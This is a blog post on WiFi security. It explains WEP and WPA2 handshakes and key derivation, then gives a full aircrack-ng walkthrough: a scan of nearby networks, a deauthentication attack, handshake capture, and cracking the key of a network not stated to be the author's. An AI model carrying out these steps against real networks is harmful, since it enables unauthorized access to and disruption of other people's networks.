Monday, April 4, 2022

Revisiting Wireless Security

One of my earlier memories with computers was as a teen, just as WiFi was becoming popular. Back then, internet service was often horrible. But I quickly picked up an Alfa antenna from Ebay and learned that with a few Debian packages, it was possible to defeat the encryption of nearby access points. Free (and often faster) WiFi!

IEEE 802.11

The IEEE 802.11 standard was invented in 1997. Several layers of abstractions make up a router. In general, a router is a miserable pile of management frames:

Management frames

  • Authentication
  • Association requests
  • Association response
  • Beacon
  • Deauthentication
  • Disassociation
  • Probe request
  • Probe response
  • Reassociation request
  • Reassociation response
  • Action frame

While there have been various amendments to the initial standard, many routers deployed today still run WEP and WPA/2, which don't necessitate authentication for most of the functions above, leaving them vulnerable to packet injection and cryptographic attacks. However, some routers do cloak their frames and even attempt to inject fake frames into their flows to fool WiFi security tools. But such security-by-obscurity attempts can often be worked around. WiFi is fun because it's one of those attack surfaces that's easy to forget about because it's invisible, seems harmless, and yet could be incredibly advantageous for attackers. If an attacker can't get initial access by phishing or by hacking a public-facing web app, perhaps they can pivot into your network from a wireless access point.

Radio Waves, Invisible Things

In the spirit of keeping it stupid simple, we'll be using a Debian distro with the aircrack-ng suite. Though today, kismet is perhaps the superior choice for attacking access points, as it gives us real-time analysis and logging capabilities. But on this particular day, we are militant minimalists.

WEP Handshakes

So how exactly does a WEP handshake work? It uses RC4 and a CRC-32 checksum. The initial standard was 64 bits. It utilized a 40 bit key and 24 bit initialization vector.

Later, key constraints would be extended to 128 bits. Our key, 26 characters (4 bits each, 104 bits total) and a 24 bit initialization vector would be passed into the RC4 stream cipher, then XORd against the plaintext to generate ciphertext. The four-way handshake is as follows:

  • Client sends an authentication request to the access point
  • Access Point replies with a plaintext challenge
  • Client encrypts the challenge text using the WEP key and sends it back the router in an authentication frame
  • Access Point decrypts the response. If it matches the challenge text, the access point successfully replies

The initialization vector was an attempted design to prevent repetition in the authentication scheme. But as it turns out, access points are busy places indeed! This led to related key attacks. For a 24-bit initialization vector, there is a 50% probability the same initialization vector will repeat after approximately 5,000 packets.

WPA/2 Handshakes

WPA handshakes share a similar premise. But there are some key differences. The RC4 function is partially deprecated. WPA still uses RC4 for TKIP, but AES for CCMP. The design is slightly modified, as WPA/2 utilizes "nonces," random numbers used once, which WEP doesn't use at all.

Access points generate quite a few keys with WPA2. Though we're primarily interested in the BSSID, MAC, and nonces used to generate Pairwise Transient Keys.

  • Pairwise master key
  • Pairwise transient key
  • Group temporal key
  • Group master key
  • Authenticator nonce
  • Supplicant nonce
  • Message authentication code

The WPA/2 handshake is as follows:

  • Client initiates an authentication request to an access point and the access point responds with an authentication nonce
  • Client constructs a pairwise transient key, then forwards a secondary nonce and a message authentication code to the access point
  • Access point verifies this, constructs the pairwise transient key, then replies with a group temporal key
  • Client confirms with the access point that the keys have been successfully installed

Weaknesses

Stream ciphers, like the one used in WEP, are only secure under two conditions:

  • iff keys are never used twice
  • iff valid decryption is never used to infer authenticity

For example, the WEP protocol designers underestimated the traffic it would see in implementation. Short keys led to repeating IVs. It also leaned heavily on the XOR function, which is commutative. That is, it's self-inverse is zero: R xor R = 0. The XOR function is great for one-time pads, not very good for poorly designed stream ciphers.

With WEP, ciphertext is generated by XORing an RC4 stream (IV + key) against a plaintext. The IV was supposed to keep the stream random. But if that randomness repeats itself, it isn't random anymore. First let's note how ciphertexts are generated:

  • R xor P = E(A)
  • R xor P = E(B)

Given enough ciphertexts, the English language contains enough redundancy that it becomes feasible to XOR them together to deduce plain text. If we have both E(A) and E(B), since XOR is commutative, we can go to the end and decrypt:

  • E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B

This is why WEP implemented a 24 bit initialization vector. To keep the stream random and prevent just this attack. But in the real-world, networks are busy. And while a 24-bit key does afford some protection in the form of extra key space, it doesn't provide enough to prevent key reuse in the real world.

With WPA/2, the scheme uses nonces, and can use either RC4 or AES. And the nature of the vulnerability is somewhat different. With WEP, we can read plain text even without a key, but the key is still attainable. With WPA/2, we need to attain the key first. But the key is still vulnerable because of how it's generated. A man-in-the-middle no longer needs to capture 80,000 initialization vectors by sniffing packets, just capturing the small handshake involving pairwise transient keys is sufficient. Then we can use the artifacts we've gleaned from the handshake to generate keys using the algorithm the access point does, but with our own list of candidates plugged in instead, and compare outputs until they match.

But IVs are still helpful and can increase the speed of the cracking process of both WEP and WPA/2 keys, since crackers like aircrack-ng will run multiple threads in parallel, testing and comparing various items simultaneously and comparing the outputs to the original material we captured. And with the fairly recent PKMID attacks, less than a handshake is necessary.

Aircrack-ng, for example, will try a lot of different things and detect whatever variation the access point speaks, and pass it off to it's crypto engine. As we can see in Aircrack-ng's source, the structures for the key material used for constructing PTKs.


void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
    const uint8_t bssid[6],
    const uint8_t stmac[6],
    const uint8_t anonce[32],
    const uint8_t snonce[32],
    int threadid)

Below is a graphic of the alternative EAPOL format, featuring nonces, RSC (received sequence counter), and MIC (a message integrity check; in this context, this is merely a different way of labeling the Message Authentication Code).

A password-based key derivation function (PBKDF) takes the plaintext password we set as our WPA/2 key, along with our SSID, and converts it into data suitable for use in the pseudorandom function.

The keying process for the Pairwise Master Key and Pairwise Transient Key looks something like this.

  • PMK = PBKDF2(HMAC-SHA1, passphrase, ssid, 4096, 256)
  • PTK = PRF(PMK, PKE, AP_MAC_addr, S_MAC_addr, ANONCE, SNONCE)

Afterward, our pairwise transient keys are computed with a PRF, as noted in the 802.11 specification, pages 1235-1237.

// pseudocode for a pseudorandom function

PRF(K, A, B, length):
    for i <= 0 to (Length + 159)/160 do
    R <= R+HMAC_SHA1(K, A, B, i)
return L(R, 0, Length)

For our Pairwise Master Key, HMAC-SHA1 is used in 4096 rounds to generate a 256 bit key from our initial passphrase and SSID. Then our PRF uses HMAC again, but with the other variables—namely the PKE (pairwise key expansion value), access point MAC address, station MAC address, and their relative nonces—to generate the Pairwise Transient Key.

  • HMAC(K, text) = H((K' XOR opad) || H(K' XOR ipad, text))

The HMAC hashes data in a two part-process. From its main key, it derives two separate keys which are padded or truncated accordingly to match a block size of 256 or 512 bits. First, an inner hash is derived from a block sized key K' XORd against inner padding (0x36 repeated), and our text. Then a block sized key K' is XORd against the outer padding (0x5C), which is prepended to our initial hash. Lastly, these two artifacts are concatenated together and hashed again to produce a message authentication code of N bits. The RFC for this process can be found here. We can also find this construction in aircrack-ng's crypto-engine.c as well.

static void hmac_sha256_vector(const u8 * key,
			size_t key_len,
			size_t num_elem,
			const u8 * addr[],
			const size_t * len,
		  u8 * mac)
{
	unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
	const u8 * _addr[6];
	size_t _len[6], i;

	/* the HMAC_SHA256 transform looks like:
	 *
	 * SHA256(K XOR opad, SHA256(K XOR ipad, text))
	 *
	 * where K is an n byte key
	 * ipad is the byte 0x36 repeated 64 times
	 * opad is the byte 0x5c repeated 64 times
	 * and text is the data being protected */

	/* start out by storing key in ipad */
	memset(k_pad, 0, sizeof(k_pad));
	memcpy(k_pad, key, key_len);
	/* XOR key with ipad values */
	for (i = 0; i < 64; i++) k_pad[i] ^= 0x36;

	/* perform inner SHA256 */
	_addr[0] = k_pad;
	_len[0] = 64;
	for (i = 0; i < num_elem; i++)
	{
		_addr[i + 1] = addr[i];
		_len[i + 1] = len[i];
	}
	sha256_vector(1 + num_elem, _addr, _len, mac);

	memset(k_pad, 0, sizeof(k_pad));
	memcpy(k_pad, key, key_len);
	/* XOR key with opad values */
	for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c;

	/* perform outer SHA256 */
	_addr[0] = k_pad;
	_len[0] = 64;
	_addr[1] = mac;
	_len[1] = SHA256_MAC_LEN;
	sha256_vector(2, _addr, _len, mac);
}

The World Is Trapped In Time With WPA/2

While WPA3 fixes some of the problems found in WEP and WPA/2, many routers still ship with WPA/2. And pre-existing routers continue to see use because they "just work." When someone cracks a WiFi key, there isn't smoke. It's an invisible problem. And even though new tech allows users to enable next-generation WiFi configurations and enjoy improved cryptography and security properties like authenticated management frames, most routers running today still use standards that were made in the early 2000s. So the majority of them continue to be vulnerable to spoofed frames, information leaks, and cryptographic attacks.

WEP, WPA, and WPA2 remain vulnerable to password cracking. But they also don't provide the good security properties that we find in TLS or in protocols where keys evolve and provide forward secrecy. Obviously, it would be a horrible idea to be purely reliant on WEP or WPA/2 for securing any information you're sending. Thankfully, there's TLS. And most of the apps we use on a day-to-day basis use it. For without that, if we were purely reliant on WEP or WPA/2, and someone snagged your wireless key, not only would your current transmissions be compromised, but past and future ones would be, too.

Alright, let's take aircrack-ng for a spin again.

$ sudo airmon-ng start wlan0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    481 NetworkManager
   1561 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           rtl8187         Realtek Semiconductor Corp. RTL8187
                (monitor mode enabled)

With airmon-ng, we'll set the antenna to monitor mode to enable it to passively monitor traffic. Then, we'll use airodump-ng without specifying any particular BSSID or channel to broadly scan for nearby signals.

$ sudo airodump-ng wlan0

 CH  5 ][ Elapsed: 12 s ][ 2022-04-06 20:42                                                     

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                

 EA:07:B6:F8:EC:CB  -56       13        0    0   2  195   WPA2 CCMP   PSK           
 C0:56:27:85:6F:46  -51        3        0    0   7  130   WPA2 CCMP   PSK  Coe-2G_Ext           
 14:59:C0:99:D6:2A  -51        9        0    0   6  104   WPA2 CCMP   PSK  NTGR_VMB_1548950755  
 84:1E:A3:C7:30:FE  -14       21        3    0  11  195   WPA2 CCMP   PSK  SpectrumSetup-F8     
 84:16:F9:3A:F9:4B  -66        6        2    0  11  260   WPA2 CCMP   PSK  TP-LINK_F94C         
 3C:84:6A:82:84:5E  -56        5        0    0   4  195   WPA2 CCMP   PSK  TP-Link_845F         
 18:9C:27:E2:90:7D  -55        3        3    0  11  540   WPA2 CCMP   PSK  HiddenTreasure       
 84:1E:A3:1B:BF:8E  -41        7        0    0   6  195   WPA2 CCMP   PSK  sullivan             
 34:53:D2:D1:98:A4  -56        8        0    0   1  260   WPA2 CCMP   PSK  Fluttershy           
 04:92:26:81:39:78  -57        4        0    0   7  195   WPA2 CCMP   PSK  Coe-2G               
 9C:3D:CF:D6:0C:DB  -58        2        0    0   1  195   WPA2 CCMP   PSK  HERNANDEZ            
 D8:0F:99:A5:F6:C5  -59        4        0    0   1  195   WPA2 CCMP   PSK  Susan                
 88:57:1D:A9:21:65  -60        4        0    0   1  135   WPA2 CCMP   PSK  
[range]_E30AJT711357
 84:1E:A3:21:75:76  -61        5        0    0  11  195   WPA2 CCMP   PSK  SpectrumSetup-70     
 14:59:C0:98:5E:1E  -62        7        0    0  11   52   WPA2 CCMP   PSK  NETGEAR30            
 D8:07:B6:F8:EC:CB  -57       15        0    0   2  195   WPA2 CCMP   PSK  T3                   
 A0:40:A0:A7:22:4C  -62        2        0    0   3  104   WPA2 CCMP   PSK  ARLO_VMB_1602549613  
 82:31:92:14:46:15  -62        3        1    0   3  130   WPA2 CCMP   PSK           
 D8:D7:75:A4:E2:1E  -63        2        0    0  11  195   WPA2 CCMP   PSK  Naylor-2G            
 0A:95:2A:CE:E2:CD  -64        2        0    0   6  195   WPA2 CCMP   PSK  TC8717TC4-GUEST3     
 0A:95:2A:CE:E2:CC  -64        2        0    0   6  195   WPA2 CCMP   PSK  TC8717TC4-GUEST2     
 24:C9:A1:62:B7:33  -69        2        0    0  11  195   WPA2 CCMP   PSK  island-22B730

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes              

 (not associated)   F8:F0:05:AD:60:DE  -65    0 - 1      0        2         Cisco               
 84:16:F9:3A:F9:4B  20:DF:B9:1E:12:CB  -62    0 - 1e     0        1                             
 AC:3B:77:0E:2D:A0  20:EF:BD:ED:CF:2A  -65    0 - 1e     0        1                             

From here, we can choose a target access point. So, let's try to capture the handshake of the access point "HiddenTreasure."

$ sudo airodump-ng wlan0 --bssid 18:9C:27:E2:90:7D -c 11 -w dump               
21:37:43  Created capture file "dump-01.cap".

 CH 11 ][ Elapsed: 20 mins ][ 2022-04-06 21:40 ][ WPA handshake: 18:9C:27:E2:90:7D               

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID            

 18:9C:27:E2:90:7D  -57  96     1131    29114    0  11  540   WPA2 CCMP   PSK  HiddenTreasure   

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes              

 18:9C:27:E2:90:7D  E0:70:EA:79:E1:4E  -37    1e- 1e     0     2643                              
 18:9C:27:E2:90:7D  CC:9E:A2:AE:03:DC  -63    0 - 5e     0        5                              
 18:9C:27:E2:90:7D  10:94:BB:DA:BC:F0  -58    0 -24e     0     1526

To speed up the capture of initialization vectors and improve the odds of collecting the 4-way handshake, we launched some deauthentication frames from another terminal window. Because this particular router doesn't require authentication for its management frames, we can commit several flavors of packet injection.

$ while true; do sleep 60 && sudo aireplay-ng --deauth 5 -a 18:9C:27:E2:90:7D -c
E0:70:EA:79:E1:4E wlan0
21:40:01  Waiting for beacon frame (BSSID: 18:9C:27:E2:90:7D) on channel 11
21:40:02  Sending 64 directed DeAuth (code 7). STMAC: [E0:70:EA:79:E1:4E] [35|60 ACKs]
21:40:02  Sending 64 directed DeAuth (code 7). STMAC: [E0:70:EA:79:E1:4E] [54|62 ACKs]
21:40:03  Sending 64 directed DeAuth (code 7). STMAC: [E0:70:EA:79:E1:4E] [53|65 ACKs]
21:40:04  Sending 64 directed DeAuth (code 7). STMAC: [E0:70:EA:79:E1:4E] [32|35 ACKs]
21:40:04  Sending 64 directed DeAuth (code 7). STMAC: [E0:70:EA:79:E1:4E] [56|60 ACKs]

What we're doing is de-synchronizing the router and one of its associated clients. By commanding our antenna to send deauthentication packets to the vulnerable access point, we force the router and client to reinitialize and reauthenticate its connection, thus re-enacting it's four-way cryptographic handshake. And while this happens, with the help of airodump-ng, we write it out to a packet capture file for later decryption.

After we've captured a sufficient number of IVs and a handshake, we can begin the process of key recovery. We could use hashcat, which offers far superior performance. But for now, we'll proceed with aircrack-ng itself against a custom password list.

$ aircrack-ng dump-01.cap -b 18:9C:27:E2:90:7D -w pass.txt
Reading packets, please wait...
Opening dump-01.cap
Read 13522 packets.


          	        	     Aircrack-ng 1.6

     [00:03:20] 85002/256982 keys tested (61.57 k/s)

      		   Time left: --

                        KEY FOUND! [ sunflower ]


       Master Key     : 3C 09 AC C9 E8 66 03 10 4E 92 95 EE 35 E8 2B BA
                        DC F5 F6 76 46 5E C6 8E FD 94 0A F0 5C CE 43 D0

       Transient Key  : D3 83 2E 0B 1E 56 FB EF 99 DG 49 E0 C9 6B D1 6E
      	                0C 42 88 F2 72 10 07 6E 7F BF D9 95 51 27 C5 8C
                        9C 09 1C DB 4E DB 89 30 10 0A 3F D8 8A 62 DB 97
                        41 04 9C 67 8E B8 E1 74 4D 9E 3E 7E 42 67 A6 A7

       EAPOL HMAC     : 78 A5 0A 09 68 C0 16 DC 46 1E 6F 94 A1 B7 CE 61

This is probably the least friction scenario possible. But what if our target router didn't respond to deauthentication packets? I'll cover more wireless security concepts and attacks in the next post.

No comments:

Post a Comment